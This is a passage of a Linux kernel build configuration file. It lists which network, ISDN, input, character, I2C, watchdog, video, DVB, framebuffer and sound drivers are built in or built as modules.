CONFIG_ARCNET_1051=m CONFIG_ARCNET_RAW=m CONFIG_ARCNET_COM90xx=m CONFIG_ARCNET_COM90xxIO=m CONFIG_ARCNET_RIM_I=m CONFIG_ARCNET_COM20020=m CONFIG_ARCNET_COM20020_ISA=m CONFIG_ARCNET_COM20020_PCI=m CONFIG_DUMMY=m CONFIG_BONDING=m CONFIG_EQUALIZER=m CONFIG_TUN=m CONFIG_ETHERTAP=m CONFIG_NET_SB1000=m # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y CONFIG_MII=m CONFIG_HAPPYMEAL=m CONFIG_SUNGEM=m CONFIG_NET_VENDOR_3COM=y CONFIG_EL1=m CONFIG_EL2=m CONFIG_ELPLUS=m CONFIG_EL16=m CONFIG_EL3=m CONFIG_3C515=m CONFIG_VORTEX=m CONFIG_TYPHOON=m CONFIG_LANCE=m CONFIG_NET_VENDOR_SMC=y CONFIG_WD80x3=m CONFIG_ULTRA=m CONFIG_SMC9194=m CONFIG_NET_VENDOR_RACAL=y CONFIG_NI5010=m CONFIG_NI52=m CONFIG_NI65=m # # Tulip family network device support # CONFIG_NET_TULIP=y CONFIG_DE2104X=m CONFIG_TULIP=m CONFIG_TULIP_MWI=y CONFIG_TULIP_MMIO=y CONFIG_TULIP_NAPI=y CONFIG_TULIP_NAPI_HW_MITIGATION=y CONFIG_DE4X5=m CONFIG_WINBOND_840=m CONFIG_DM9102=m CONFIG_PCMCIA_XIRCOM=m CONFIG_PCMCIA_XIRTULIP=m CONFIG_AT1700=m CONFIG_DEPCA=m CONFIG_HP100=m CONFIG_NET_ISA=y CONFIG_E2100=m CONFIG_EWRK3=m CONFIG_EEXPRESS=m CONFIG_EEXPRESS_PRO=m CONFIG_HPLAN_PLUS=m CONFIG_HPLAN=m CONFIG_LP486E=m CONFIG_ETH16I=m CONFIG_NE2000=m CONFIG_ZNET=m CONFIG_SEEQ8005=m CONFIG_NET_PCI=y CONFIG_PCNET32=m CONFIG_AMD8111_ETH=m CONFIG_ADAPTEC_STARFIRE=m CONFIG_ADAPTEC_STARFIRE_NAPI=y CONFIG_AC3200=m CONFIG_APRICOT=m CONFIG_B44=m CONFIG_FORCEDETH=m CONFIG_CS89x0=m CONFIG_DGRS=m CONFIG_EEPRO100=m # CONFIG_EEPRO100_PIO is not set CONFIG_E100=m CONFIG_E100_NAPI=y CONFIG_FEALNX=m CONFIG_NATSEMI=m CONFIG_NE2K_PCI=m CONFIG_8139CP=m CONFIG_8139TOO=m # CONFIG_8139TOO_PIO is not set CONFIG_8139TOO_TUNE_TWISTER=y CONFIG_8139TOO_8129=y # CONFIG_8139_OLD_RX_RESET is not set CONFIG_8139_RXBUF_IDX=2 CONFIG_SIS900=m CONFIG_EPIC100=m CONFIG_SUNDANCE=m CONFIG_SUNDANCE_MMIO=y CONFIG_TLAN=m CONFIG_VIA_RHINE=m CONFIG_VIA_RHINE_MMIO=y CONFIG_NET_POCKET=y CONFIG_ATP=m CONFIG_DE600=m CONFIG_DE620=m # # Ethernet (1000 Mbit) # CONFIG_ACENIC=m # CONFIG_ACENIC_OMIT_TIGON_I is not set CONFIG_DL2K=m CONFIG_E1000=m CONFIG_E1000_NAPI=y CONFIG_NS83820=m CONFIG_HAMACHI=m CONFIG_YELLOWFIN=m CONFIG_R8169=m CONFIG_SIS190=m CONFIG_SK98LIN=m CONFIG_TIGON3=m # # Ethernet (10000 Mbit) # CONFIG_IXGB=m CONFIG_IXGB_NAPI=y CONFIG_FDDI=y CONFIG_DEFXX=m CONFIG_SKFP=m CONFIG_HIPPI=y CONFIG_ROADRUNNER=m CONFIG_ROADRUNNER_LARGE_RINGS=y CONFIG_PLIP=m CONFIG_PPP=m CONFIG_PPP_MULTILINK=y CONFIG_PPP_FILTER=y CONFIG_PPP_ASYNC=m CONFIG_PPP_SYNC_TTY=m CONFIG_PPP_DEFLATE=m CONFIG_PPP_BSDCOMP=m CONFIG_PPPOE=m CONFIG_PPPOATM=m CONFIG_SLIP=m CONFIG_SLIP_COMPRESSED=y CONFIG_SLIP_SMART=y CONFIG_SLIP_MODE_SLIP6=y # # Wireless LAN (non-hamradio) # CONFIG_NET_RADIO=y # # Obsolete Wireless cards support (pre-802.11) # CONFIG_STRIP=m CONFIG_ARLAN=m CONFIG_WAVELAN=m CONFIG_PCMCIA_WAVELAN=m CONFIG_PCMCIA_NETWAVE=m # # Wireless 802.11 Frequency Hopping cards support # CONFIG_PCMCIA_RAYCS=m # # Wireless 802.11b ISA/PCI cards support # CONFIG_AIRO=m CONFIG_HERMES=m CONFIG_PLX_HERMES=m CONFIG_TMD_HERMES=m CONFIG_PCI_HERMES=m # # Wireless 802.11b Pcmcia/Cardbus cards support # CONFIG_PCMCIA_HERMES=m CONFIG_AIRO_CS=m CONFIG_PCMCIA_ATMEL=m CONFIG_PCMCIA_WL3501=m CONFIG_NET_WIRELESS=y # # Token Ring devices # CONFIG_TR=y CONFIG_IBMTR=m CONFIG_IBMOL=m CONFIG_IBMLS=m CONFIG_3C359=m CONFIG_TMS380TR=m CONFIG_TMSPCI=m CONFIG_SKISA=m CONFIG_PROTEON=m CONFIG_ABYSS=m CONFIG_SMCTR=m CONFIG_NET_FC=y CONFIG_RCPCI=m CONFIG_SHAPER=m CONFIG_NETCONSOLE=m # # Wan interfaces # CONFIG_WAN=y CONFIG_HOSTESS_SV11=m CONFIG_COSA=m CONFIG_DSCC4=m CONFIG_DSCC4_PCISYNC=y CONFIG_DSCC4_PCI_RST=y CONFIG_LANMEDIA=m CONFIG_SEALEVEL_4021=m CONFIG_SYNCLINK_SYNCPPP=m CONFIG_HDLC=m CONFIG_HDLC_RAW=y CONFIG_HDLC_RAW_ETH=y CONFIG_HDLC_CISCO=y CONFIG_HDLC_FR=y CONFIG_HDLC_PPP=y CONFIG_HDLC_X25=y CONFIG_PCI200SYN=m CONFIG_WANXL=m # CONFIG_WANXL_BUILD_FIRMWARE is not set CONFIG_PC300=m CONFIG_PC300_MLPPP=y CONFIG_N2=m CONFIG_C101=m CONFIG_FARSYNC=m CONFIG_DLCI=m CONFIG_DLCI_COUNT=24 CONFIG_DLCI_MAX=8 CONFIG_SDLA=m CONFIG_WAN_ROUTER_DRIVERS=y CONFIG_CYCLADES_SYNC=m CONFIG_CYCLOMX_X25=y CONFIG_LAPBETHER=m CONFIG_X25_ASY=m CONFIG_SBNI=m CONFIG_SBNI_MULTILINE=y # # PCMCIA network device support # CONFIG_NET_PCMCIA=y CONFIG_PCMCIA_3C589=m CONFIG_PCMCIA_3C574=m CONFIG_PCMCIA_FMVJ18X=m CONFIG_PCMCIA_PCNET=m CONFIG_PCMCIA_NMCLAN=m CONFIG_PCMCIA_SMC91C92=m CONFIG_PCMCIA_XIRC2PS=m CONFIG_PCMCIA_AXNET=m CONFIG_ARCNET_COM20020_CS=m CONFIG_PCMCIA_IBMTR=m # # ATM drivers # CONFIG_ATM_TCP=m CONFIG_ATM_LANAI=m CONFIG_ATM_ENI=m # CONFIG_ATM_ENI_DEBUG is not set # CONFIG_ATM_ENI_TUNE_BURST is not set CONFIG_ATM_FIRESTREAM=m CONFIG_ATM_ZATM=m # CONFIG_ATM_ZATM_DEBUG is not set CONFIG_ATM_NICSTAR=m CONFIG_ATM_NICSTAR_USE_SUNI=y CONFIG_ATM_NICSTAR_USE_IDT77105=y CONFIG_ATM_IDT77252=m # CONFIG_ATM_IDT77252_DEBUG is not set # CONFIG_ATM_IDT77252_RCV_ALL is not set CONFIG_ATM_IDT77252_USE_SUNI=y CONFIG_ATM_AMBASSADOR=m # CONFIG_ATM_AMBASSADOR_DEBUG is not set CONFIG_ATM_HORIZON=m # CONFIG_ATM_HORIZON_DEBUG is not set CONFIG_ATM_IA=m # CONFIG_ATM_IA_DEBUG is not set CONFIG_ATM_FORE200E_MAYBE=m CONFIG_ATM_FORE200E_PCA=y CONFIG_ATM_FORE200E_PCA_DEFAULT_FW=y CONFIG_ATM_FORE200E_TX_RETRY=16 CONFIG_ATM_FORE200E_DEBUG=0 CONFIG_ATM_FORE200E=m CONFIG_ATM_HE=m CONFIG_ATM_HE_USE_SUNI=y # # Amateur Radio support # CONFIG_HAMRADIO=y # # Packet Radio protocols # CONFIG_AX25=m CONFIG_AX25_DAMA_SLAVE=y CONFIG_NETROM=m CONFIG_ROSE=m # # AX.25 network device drivers # CONFIG_MKISS=m CONFIG_6PACK=m CONFIG_BPQETHER=m CONFIG_DMASCC=m CONFIG_SCC=m CONFIG_SCC_DELAY=y CONFIG_SCC_TRXECHO=y CONFIG_BAYCOM_SER_FDX=m CONFIG_BAYCOM_SER_HDX=m CONFIG_BAYCOM_PAR=m CONFIG_BAYCOM_EPP=m CONFIG_YAM=m # # IrDA (infrared) support # CONFIG_IRDA=m # # IrDA protocols # CONFIG_IRLAN=m CONFIG_IRNET=m CONFIG_IRCOMM=m CONFIG_IRDA_ULTRA=y # # IrDA options # CONFIG_IRDA_CACHE_LAST_LSAP=y CONFIG_IRDA_FAST_RR=y # CONFIG_IRDA_DEBUG is not set # # Infrared-port device drivers # # # SIR device drivers # CONFIG_IRTTY_SIR=m # # Dongle support # CONFIG_DONGLE=y CONFIG_ESI_DONGLE=m CONFIG_ACTISYS_DONGLE=m CONFIG_TEKRAM_DONGLE=m # # Old SIR device drivers # CONFIG_IRPORT_SIR=m # # Old Serial dongle support # CONFIG_DONGLE_OLD=y CONFIG_ESI_DONGLE_OLD=m CONFIG_ACTISYS_DONGLE_OLD=m CONFIG_TEKRAM_DONGLE_OLD=m CONFIG_GIRBIL_DONGLE=m CONFIG_LITELINK_DONGLE=m CONFIG_MCP2120_DONGLE=m CONFIG_OLD_BELKIN_DONGLE=m CONFIG_ACT200L_DONGLE=m CONFIG_MA600_DONGLE=m # # FIR device drivers # CONFIG_USB_IRDA=m CONFIG_NSC_FIR=m CONFIG_WINBOND_FIR=m CONFIG_TOSHIBA_FIR=m CONFIG_SMC_IRCC_FIR=m CONFIG_ALI_FIR=m CONFIG_VLSI_FIR=m CONFIG_VIA_FIR=m # # Bluetooth support # CONFIG_BT=m CONFIG_BT_L2CAP=m CONFIG_BT_SCO=m CONFIG_BT_RFCOMM=m CONFIG_BT_RFCOMM_TTY=y CONFIG_BT_BNEP=m CONFIG_BT_BNEP_MC_FILTER=y CONFIG_BT_BNEP_PROTO_FILTER=y # # Bluetooth device drivers # CONFIG_BT_HCIUSB=m CONFIG_BT_USB_SCO=y # CONFIG_BT_USB_ZERO_PACKET is not set CONFIG_BT_HCIUART=m CONFIG_BT_HCIUART_H4=y CONFIG_BT_HCIUART_BCSP=y CONFIG_BT_HCIUART_BCSP_TXCRC=y CONFIG_BT_HCIDTL1=m CONFIG_BT_HCIBT3C=m CONFIG_BT_HCIBLUECARD=m CONFIG_BT_HCIBTUART=m CONFIG_BT_HCIVHCI=m # CONFIG_KGDBOE is not set CONFIG_NETPOLL=y # CONFIG_NETPOLL_RX is not set # CONFIG_NETPOLL_TRAP is not set CONFIG_NET_POLL_CONTROLLER=y # # ISDN subsystem # CONFIG_ISDN_BOOL=y # # Old ISDN4Linux # # CONFIG_ISDN is not set # # CAPI subsystem # CONFIG_ISDN_CAPI=m # CONFIG_ISDN_DRV_AVMB1_VERBOSE_REASON is not set CONFIG_ISDN_CAPI_MIDDLEWARE=y CONFIG_ISDN_CAPI_CAPI20=m CONFIG_ISDN_CAPI_CAPIFS_BOOL=y CONFIG_ISDN_CAPI_CAPIFS=m # # CAPI hardware drivers # # # Active AVM cards # CONFIG_CAPI_AVM=y CONFIG_ISDN_DRV_AVMB1_B1ISA=m CONFIG_ISDN_DRV_AVMB1_B1PCI=m CONFIG_ISDN_DRV_AVMB1_B1PCIV4=y CONFIG_ISDN_DRV_AVMB1_T1ISA=m CONFIG_ISDN_DRV_AVMB1_B1PCMCIA=m CONFIG_ISDN_DRV_AVMB1_AVM_CS=m CONFIG_ISDN_DRV_AVMB1_T1PCI=m CONFIG_ISDN_DRV_AVMB1_C4=m # # Active Eicon DIVA Server cards # CONFIG_CAPI_EICON=y CONFIG_ISDN_DIVAS=m CONFIG_ISDN_DIVAS_BRIPCI=y CONFIG_ISDN_DIVAS_PRIPCI=y CONFIG_ISDN_DIVAS_DIVACAPI=m CONFIG_ISDN_DIVAS_USERIDI=m CONFIG_ISDN_DIVAS_MAINT=m # # Telephony Support # CONFIG_PHONE=m CONFIG_PHONE_IXJ=m CONFIG_PHONE_IXJ_PCMCIA=m # # Input device support # CONFIG_INPUT=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_INPUT_JOYDEV=m CONFIG_INPUT_TSDEV=m CONFIG_INPUT_TSDEV_SCREEN_X=240 CONFIG_INPUT_TSDEV_SCREEN_Y=320 CONFIG_INPUT_EVDEV=m CONFIG_INPUT_EVBUG=m # # Input I/O drivers # CONFIG_GAMEPORT=m CONFIG_SOUND_GAMEPORT=m CONFIG_GAMEPORT_NS558=m CONFIG_GAMEPORT_L4=m CONFIG_GAMEPORT_EMU10K1=m CONFIG_GAMEPORT_VORTEX=m CONFIG_GAMEPORT_FM801=m CONFIG_GAMEPORT_CS461x=m CONFIG_SERIO=y CONFIG_SERIO_I8042=y CONFIG_SERIO_SERPORT=m CONFIG_SERIO_CT82C710=m CONFIG_SERIO_PARKBD=m CONFIG_SERIO_PCIPS2=m # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y CONFIG_KEYBOARD_SUNKBD=m CONFIG_KEYBOARD_XTKBD=m CONFIG_KEYBOARD_NEWTON=m CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=m CONFIG_MOUSE_SERIAL=m CONFIG_MOUSE_INPORT=m CONFIG_MOUSE_ATIXL=y CONFIG_MOUSE_LOGIBM=m CONFIG_MOUSE_PC110PAD=m CONFIG_INPUT_JOYSTICK=y CONFIG_JOYSTICK_ANALOG=m CONFIG_JOYSTICK_A3D=m CONFIG_JOYSTICK_ADI=m CONFIG_JOYSTICK_COBRA=m CONFIG_JOYSTICK_GF2K=m CONFIG_JOYSTICK_GRIP=m CONFIG_JOYSTICK_GRIP_MP=m CONFIG_JOYSTICK_GUILLEMOT=m CONFIG_JOYSTICK_INTERACT=m CONFIG_JOYSTICK_SIDEWINDER=m CONFIG_JOYSTICK_TMDC=m CONFIG_JOYSTICK_IFORCE=m CONFIG_JOYSTICK_IFORCE_USB=y CONFIG_JOYSTICK_IFORCE_232=y CONFIG_JOYSTICK_WARRIOR=m CONFIG_JOYSTICK_MAGELLAN=m CONFIG_JOYSTICK_SPACEORB=m CONFIG_JOYSTICK_SPACEBALL=m CONFIG_JOYSTICK_STINGER=m CONFIG_JOYSTICK_TWIDDLER=m CONFIG_JOYSTICK_DB9=m CONFIG_JOYSTICK_GAMECON=m CONFIG_JOYSTICK_TURBOGRAFX=m CONFIG_INPUT_JOYDUMP=m CONFIG_INPUT_TOUCHSCREEN=y CONFIG_TOUCHSCREEN_GUNZE=m CONFIG_INPUT_MISC=y CONFIG_INPUT_PCSPKR=y CONFIG_INPUT_UINPUT=m # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y CONFIG_SERIAL_NONSTANDARD=y CONFIG_COMPUTONE=m CONFIG_ROCKETPORT=m CONFIG_CYCLADES=m CONFIG_CYZ_INTR=y CONFIG_DIGIEPCA=m CONFIG_ESPSERIAL=m CONFIG_MOXA_INTELLIO=m CONFIG_MOXA_SMARTIO=m CONFIG_ISI=m CONFIG_SYNCLINK=m CONFIG_SYNCLINKMP=m CONFIG_N_HDLC=m CONFIG_RISCOM8=m CONFIG_SPECIALIX=m # CONFIG_SPECIALIX_RTSCTS is not set CONFIG_SX=m CONFIG_RIO=m CONFIG_RIO_OLDPCI=y CONFIG_STALDRV=y CONFIG_STALLION=m CONFIG_ISTALLION=m # # Serial drivers # CONFIG_SERIAL_8250=m CONFIG_SERIAL_8250_CS=m CONFIG_SERIAL_8250_ACPI=y CONFIG_SERIAL_8250_NR_UARTS=4 CONFIG_SERIAL_8250_EXTENDED=y CONFIG_SERIAL_8250_MANY_PORTS=y CONFIG_SERIAL_8250_SHARE_IRQ=y CONFIG_SERIAL_8250_DETECT_IRQ=y CONFIG_SERIAL_8250_MULTIPORT=y CONFIG_SERIAL_8250_RSA=y # # Non-8250 serial port support # CONFIG_SERIAL_CORE=m CONFIG_UNIX98_PTYS=y CONFIG_UNIX98_PTY_COUNT=256 CONFIG_PRINTER=m CONFIG_LP_CONSOLE=y CONFIG_PPDEV=m CONFIG_TIPAR=m # # I2C support # CONFIG_I2C=m CONFIG_I2C_CHARDEV=m # # I2C Algorithms # CONFIG_I2C_ALGOBIT=m CONFIG_I2C_ALGOPCF=m # # I2C Hardware Bus support # CONFIG_I2C_ALI1535=m CONFIG_I2C_ALI15X3=m CONFIG_I2C_AMD756=m CONFIG_I2C_AMD8111=m CONFIG_I2C_ELEKTOR=m CONFIG_I2C_ELV=m CONFIG_I2C_I801=m CONFIG_I2C_I810=m CONFIG_I2C_ISA=m CONFIG_I2C_NFORCE2=m CONFIG_I2C_PHILIPSPAR=m CONFIG_I2C_PIIX4=m CONFIG_I2C_PROSAVAGE=m CONFIG_I2C_SAVAGE4=m CONFIG_SCx200_I2C=m CONFIG_SCx200_I2C_SCL=12 CONFIG_SCx200_I2C_SDA=13 CONFIG_SCx200_ACB=m CONFIG_I2C_SIS5595=m CONFIG_I2C_SIS630=m CONFIG_I2C_SIS96X=m CONFIG_I2C_VELLEMAN=m CONFIG_I2C_VIA=m CONFIG_I2C_VIAPRO=m CONFIG_I2C_VOODOO3=m # # I2C Hardware Sensors Chip support # CONFIG_I2C_SENSOR=m CONFIG_SENSORS_ADM1021=m CONFIG_SENSORS_EEPROM=m CONFIG_SENSORS_IT87=m CONFIG_SENSORS_LM75=m CONFIG_SENSORS_LM78=m CONFIG_SENSORS_LM83=m CONFIG_SENSORS_LM85=m CONFIG_SENSORS_VIA686A=m CONFIG_SENSORS_W83781D=m # # Mice # CONFIG_BUSMOUSE=m CONFIG_QIC02_TAPE=m CONFIG_QIC02_DYNCONF=y # # Setting runtime QIC-02 configuration is done with qic02conf # # # from the tpqic02-support package. It is available at # # # metalab.unc.edu or ftp://titus.cfw.com/pub/Linux/util/ # # # IPMI # CONFIG_IPMI_HANDLER=m CONFIG_IPMI_PANIC_EVENT=y CONFIG_IPMI_PANIC_STRING=y CONFIG_IPMI_DEVICE_INTERFACE=m CONFIG_IPMI_KCS=m CONFIG_IPMI_WATCHDOG=m # # Watchdog Cards # CONFIG_WATCHDOG=y # CONFIG_WATCHDOG_NOWAYOUT is not set CONFIG_SOFT_WATCHDOG=m CONFIG_WDT=m CONFIG_WDT_501=y CONFIG_WDT_501_FAN=y CONFIG_WDTPCI=m CONFIG_WDT_501_PCI=y CONFIG_PCWATCHDOG=m CONFIG_ACQUIRE_WDT=m CONFIG_ADVANTECH_WDT=m CONFIG_EUROTECH_WDT=m CONFIG_IB700_WDT=m CONFIG_I810_TCO=m CONFIG_MIXCOMWD=m CONFIG_SCx200_WDT=m CONFIG_60XX_WDT=m CONFIG_W83877F_WDT=m CONFIG_W83627HF_WDT=m CONFIG_MACHZ_WDT=m CONFIG_SC520_WDT=m CONFIG_AMD7XX_TCO=m CONFIG_ALIM7101_WDT=m CONFIG_ALIM1535_WDT=m CONFIG_SC1200_WDT=m CONFIG_WAFER_WDT=m CONFIG_CPU5_WDT=m CONFIG_HW_RANDOM=m CONFIG_NVRAM=m CONFIG_RTC=m CONFIG_GEN_RTC=m CONFIG_GEN_RTC_X=y CONFIG_DTLK=m CONFIG_R3964=m CONFIG_APPLICOM=m CONFIG_SONYPI=m # # Ftape, the floppy tape device driver # CONFIG_FTAPE=m CONFIG_ZFTAPE=m CONFIG_ZFT_DFLT_BLK_SZ=10240 # # The compressor will be built as a module only! # CONFIG_ZFT_COMPRESSOR=m CONFIG_FT_NR_BUFFERS=3 CONFIG_FT_PROC_FS=y CONFIG_FT_NORMAL_DEBUG=y # CONFIG_FT_FULL_DEBUG is not set # CONFIG_FT_NO_TRACE is not set # CONFIG_FT_NO_TRACE_AT_ALL is not set # # Hardware configuration # CONFIG_FT_STD_FDC=y # CONFIG_FT_MACH2 is not set # CONFIG_FT_PROBE_FC10 is not set # CONFIG_FT_ALT_FDC is not set CONFIG_FT_FDC_THR=8 CONFIG_FT_FDC_MAX_RATE=2000 CONFIG_FT_ALPHA_CLOCK=0 CONFIG_AGP=m CONFIG_AGP_ALI=m CONFIG_AGP_ATI=m CONFIG_AGP_AMD=m CONFIG_AGP_AMD64=m CONFIG_AGP_INTEL=m CONFIG_AGP_NVIDIA=m CONFIG_AGP_SIS=m CONFIG_AGP_SWORKS=m CONFIG_AGP_VIA=m CONFIG_DRM=y CONFIG_DRM_TDFX=m CONFIG_DRM_GAMMA=m CONFIG_DRM_R128=m CONFIG_DRM_RADEON=m CONFIG_DRM_I810=m CONFIG_DRM_I830=m CONFIG_DRM_MGA=m CONFIG_DRM_SIS=m # # PCMCIA character devices # CONFIG_SYNCLINK_CS=m CONFIG_MWAVE=m CONFIG_SCx200_GPIO=m CONFIG_RAW_DRIVER=m CONFIG_MAX_RAW_DEVS=256 CONFIG_HANGCHECK_TIMER=m # # Multimedia devices # CONFIG_VIDEO_DEV=m # # Video For Linux # # # Video Adapters # CONFIG_VIDEO_BT848=m CONFIG_VIDEO_PMS=m CONFIG_VIDEO_BWQCAM=m CONFIG_VIDEO_CQCAM=m CONFIG_VIDEO_W9966=m CONFIG_VIDEO_CPIA=m CONFIG_VIDEO_CPIA_PP=m CONFIG_VIDEO_CPIA_USB=m CONFIG_VIDEO_SAA5249=m CONFIG_TUNER_3036=m CONFIG_VIDEO_STRADIS=m CONFIG_VIDEO_ZORAN=m CONFIG_VIDEO_ZORAN_BUZ=m CONFIG_VIDEO_ZORAN_DC10=m CONFIG_VIDEO_ZORAN_DC30=m CONFIG_VIDEO_ZORAN_LML33=m CONFIG_VIDEO_ZORAN_LML33R10=m CONFIG_VIDEO_MEYE=m CONFIG_VIDEO_SAA7134=m CONFIG_VIDEO_MXB=m CONFIG_VIDEO_DPC=m CONFIG_VIDEO_HEXIUM_ORION=m CONFIG_VIDEO_HEXIUM_GEMINI=m CONFIG_VIDEO_CX88=m # # Radio Adapters # CONFIG_RADIO_CADET=m CONFIG_RADIO_RTRACK=m CONFIG_RADIO_RTRACK2=m CONFIG_RADIO_AZTECH=m CONFIG_RADIO_GEMTEK=m CONFIG_RADIO_GEMTEK_PCI=m CONFIG_RADIO_MAXIRADIO=m CONFIG_RADIO_MAESTRO=m CONFIG_RADIO_MIROPCM20=m CONFIG_RADIO_MIROPCM20_RDS=m CONFIG_RADIO_SF16FMI=m CONFIG_RADIO_TERRATEC=m CONFIG_RADIO_TRUST=m CONFIG_RADIO_TYPHOON=m CONFIG_RADIO_TYPHOON_PROC_FS=y CONFIG_RADIO_ZOLTRIX=m # # Digital Video Broadcasting Devices # CONFIG_DVB=y CONFIG_DVB_CORE=m # # Supported Frontend Modules # CONFIG_DVB_TWINHAN_DST=m CONFIG_DVB_STV0299=m # CONFIG_DVB_SP887X is not set CONFIG_DVB_ALPS_TDLB7=m CONFIG_DVB_ALPS_TDMB7=m CONFIG_DVB_ATMEL_AT76C651=m CONFIG_DVB_CX24110=m CONFIG_DVB_GRUNDIG_29504_491=m CONFIG_DVB_GRUNDIG_29504_401=m CONFIG_DVB_MT312=m CONFIG_DVB_VES1820=m CONFIG_DVB_VES1X93=m # # Supported SAA7146 based PCI Adapters # CONFIG_DVB_AV7110=m CONFIG_DVB_AV7110_OSD=y CONFIG_DVB_BUDGET=m CONFIG_DVB_BUDGET_CI=m CONFIG_DVB_BUDGET_AV=m CONFIG_DVB_BUDGET_PATCH=m # # Supported USB Adapters # CONFIG_DVB_TTUSB_BUDGET=m CONFIG_DVB_TTUSB_DEC=m # # Supported FlexCopII (B2C2) Adapters # CONFIG_DVB_B2C2_SKYSTAR=m # # Supported BT878 Adapters # CONFIG_DVB_BT8XX=m CONFIG_VIDEO_SAA7146=m CONFIG_VIDEO_SAA7146_VV=m CONFIG_VIDEO_VIDEOBUF=m CONFIG_VIDEO_TUNER=m CONFIG_VIDEO_BUF=m CONFIG_VIDEO_BTCX=m CONFIG_VIDEO_IR=m # # Graphics support # CONFIG_FB=y CONFIG_FB_PM2=m CONFIG_FB_PM2_FIFO_DISCONNECT=y CONFIG_FB_CYBER2000=m # CONFIG_FB_ASILIANT is not set # CONFIG_FB_IMSTT is not set CONFIG_FB_VGA16=m CONFIG_FB_VESA=y CONFIG_VIDEO_SELECT=y CONFIG_FB_HGA=m CONFIG_FB_RIVA=m CONFIG_FB_I810=m # CONFIG_FB_I810_GTF is not set CONFIG_FB_MATROX=m CONFIG_FB_MATROX_MILLENIUM=y CONFIG_FB_MATROX_MYSTIQUE=y CONFIG_FB_MATROX_G450=y CONFIG_FB_MATROX_G100=y CONFIG_FB_MATROX_I2C=m CONFIG_FB_MATROX_MAVEN=m CONFIG_FB_MATROX_MULTIHEAD=y CONFIG_FB_RADEON=m CONFIG_FB_ATY128=m CONFIG_FB_ATY=m CONFIG_FB_ATY_CT=y CONFIG_FB_ATY_GENERIC_LCD=y CONFIG_FB_ATY_XL_INIT=y CONFIG_FB_ATY_GX=y CONFIG_FB_SIS=m CONFIG_FB_SIS_300=y CONFIG_FB_SIS_315=y CONFIG_FB_NEOMAGIC=m CONFIG_FB_KYRO=m CONFIG_FB_3DFX=m CONFIG_FB_VOODOO1=m CONFIG_FB_TRIDENT=m CONFIG_FB_VIRTUAL=m # # Console display driver support # CONFIG_VGA_CONSOLE=y CONFIG_MDA_CONSOLE=m CONFIG_DUMMY_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE=y CONFIG_PCI_CONSOLE=y # CONFIG_FONTS is not set CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y # # Logo configuration # CONFIG_LOGO=y CONFIG_LOGO_LINUX_MONO=y CONFIG_LOGO_LINUX_VGA16=y CONFIG_LOGO_LINUX_CLUT224=y # # Sound # CONFIG_SOUND=m # # Advanced Linux Sound Architecture # CONFIG_SND=m CONFIG_SND_SEQUENCER=m CONFIG_SND_SEQ_DUMMY=m CONFIG_SND_OSSEMUL=y CONFIG_SND_MIXER_OSS=m CONFIG_SND_PCM_OSS=m CONFIG_SND_SEQUENCER_OSS=y CONFIG_SND_RTCTIMER=m # CONFIG_SND_VERBOSE_PRINTK is not set # CONFIG_SND_DEBUG is not set # # Generic devices # CONFIG_SND_DUMMY=m CONFIG_SND_VIRMIDI=m CONFIG_SND_MTPAV=m CONFIG_SND_SERIAL_U16550=m CONFIG_SND_MPU401=m # # ISA devices # CONFIG_SND_AD1816A=m CONFIG_SND_AD1848=m CONFIG_SND_CS4231=m CONFIG_SND_CS4232=m CONFIG_SND_CS4236=m CONFIG_SND_ES968=m CONFIG_SND_ES1688=m CONFIG_SND_ES18XX=m CONFIG_SND_GUSCLASSIC=m CONFIG_SND_GUSEXTREME=m CONFIG_SND_GUSMAX=m CONFIG_SND_INTERWAVE=m CONFIG_SND_INTERWAVE_STB=m CONFIG_SND_OPTI92X_AD1848=m CONFIG_SND_OPTI92X_CS4231=m CONFIG_SND_OPTI93X=m CONFIG_SND_SB8=m CONFIG_SND_SB16=m CONFIG_SND_SBAWE=m CONFIG_SND_SB16_CSP=y CONFIG_SND_WAVEFRONT=m CONFIG_SND_ALS100=m CONFIG_SND_AZT2320=m CONFIG_SND_CMI8330=m CONFIG_SND_DT019X=m CONFIG_SND_OPL3SA2=m CONFIG_SND_SGALAXY=m CONFIG_SND_SSCAPE=m # # PCI devices # CONFIG_SND_ALI5451=m CONFIG_SND_AZT3328=m CONFIG_SND_CS46XX=m CONFIG_SND_CS46XX_NEW_DSP=y CONFIG_SND_CS4281=m CONFIG_SND_EMU10K1=m CONFIG_SND_KORG1212=m CONFIG_SND_NM256=m CONFIG_SND_RME32=m CONFIG_SND_RME96=m CONFIG_SND_RME9652=m CONFIG_SND_HDSP=m CONFIG_SND_TRIDENT=m CONFIG_SND_YMFPCI=m CONFIG_SND_ALS4000=m CONFIG_SND_CMIPCI=m CONFIG_SND_ENS1370=m CONFIG_SND_ENS1371=m CONFIG_SND_ES1938=m CONFIG_SND_ES1968=m CONFIG_SND_MAESTRO3=m CONFIG_SND_FM801=m CONFIG_SND_ICE1712=m CONFIG_SND_ICE1724=m CONFIG_SND_INTEL8X0=m CONFIG_SND_SONICVIBES=m CONFIG_SND_VIA82XX=m CONFIG_SND_VX222=m # # ALSA USB devices # CONFIG_SND_USB_AUDIO=m # # PCMCIA devices # CONFIG_SND_VXPOCKET=m CONFIG_SND_VXP440=m # # Open Sound System # CONFIG_SOUND_PRIME=m CONFIG_SOUND_BT878=m CONFIG_SOUND_CMPCI=m CONFIG_SOUND_CMPCI_FM=y CONFIG_SOUND_CMPCI_FMIO=0x388 CONFIG_SOUND_CMPCI_MIDI=y CONFIG_SOUND_CMPCI_MPUIO=0x330 CONFIG_SOUND_CMPCI_JOYSTICK=y CONFIG_SOUND_CMPCI_CM8738=y CONFIG_SOUND_CMPCI_SPDIFINVERSE=y CONFIG_SOUND_CMPCI_SPDIFLOOP=y CONFIG_SOUND_CMPCI_SPEAKERS=2 CONFIG_SOUND_EMU10K1=m CONFIG_MIDI_EMU10K1=y CONFIG_SOUND_FUSION=m CONFIG_SOUND_CS4281=m CONFIG_SOUND_ES1370=m CONFIG_SOUND_ES1371=m CONFIG_SOUND_ESSSOLO1=m 